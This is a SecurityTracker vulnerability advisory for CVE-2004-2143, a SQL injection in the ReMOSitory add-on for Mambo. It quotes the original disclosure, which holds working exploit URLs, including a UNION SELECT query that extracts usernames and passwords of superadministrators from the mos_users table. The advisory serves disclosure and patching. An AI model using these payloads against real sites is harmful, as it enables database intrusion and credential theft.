ReMOSitory Server Input Validation Hole in 'filecatid' Lets Remote Users Inject SQL Commands
|
|
SecurityTracker Alert ID: 1011356 |
|
SecurityTracker URL: http://securitytracker.com/id/1011356
|
|
CVE Reference:
CVE-2004-2143
(Links to External Site)
|
Updated: Jul 2 2005
|
Original Entry Date: Sep 18 2004
|
Impact:
Execution of arbitrary code via network, User access via network
|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
|
|
Description:
An input validation vulnerability was reported in the ReMOSitory add-on for Mambo Open Server. A remote user can inject SQL commands.
The software does not properly validate user-supplied input in the 'filecatid' parameter. A remote user can submit a specially crafted request to inject SQL commands.
A demonstration exploit URL is provided:
http://[target]/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
The flaw does not reside in the Mambo Open Server core itself, but rather, in the 3rd party ReMOSitory software.
khoai reported this vulnerability.
|
Impact:
A remote user can inject SQL commands to be executed by the underlying database.
|
Solution:
The vendor indicates that ReMOSitory is no longer supported.
The vendor reports that Arthur Konze from mamboportal.com has provided a patch, available at:
http://www.mamboportal.com/uploadfiles/remository_fix.zip
Gene Rodrigues (mmx) reported that an alternate to ReMOSitory is 'Docman', available at:
http://mamboforge.net
|
Vendor URL: mambo.clippersoft.net/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Subject: Mambo Portal lasted version 4.5.1 (1.09) and lower vesion : SQL
|
Vendor
www.mamboportal.com
Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the planet. It is used all over
the world for everything from simple websites to complex corporate applications. Mambo is easy to install, simple to manage, and
reliable.
Bug name : SQL injection
Version : lastest Version 4.5.1(1.0.9) and lower.
Exploit :
http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
You can exploit from the table "mos_users" with the query below
http://www.mambosite.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usert
ype=0/*
with the values of usertype :
0 = superadministrator
1 = administrator
2 = editor
3 = user
5 = publisher
6 = manager
Vendor feedback :
Not yet
Vendor patch :
Not yet
khoai
www.xfrog.org
|
|
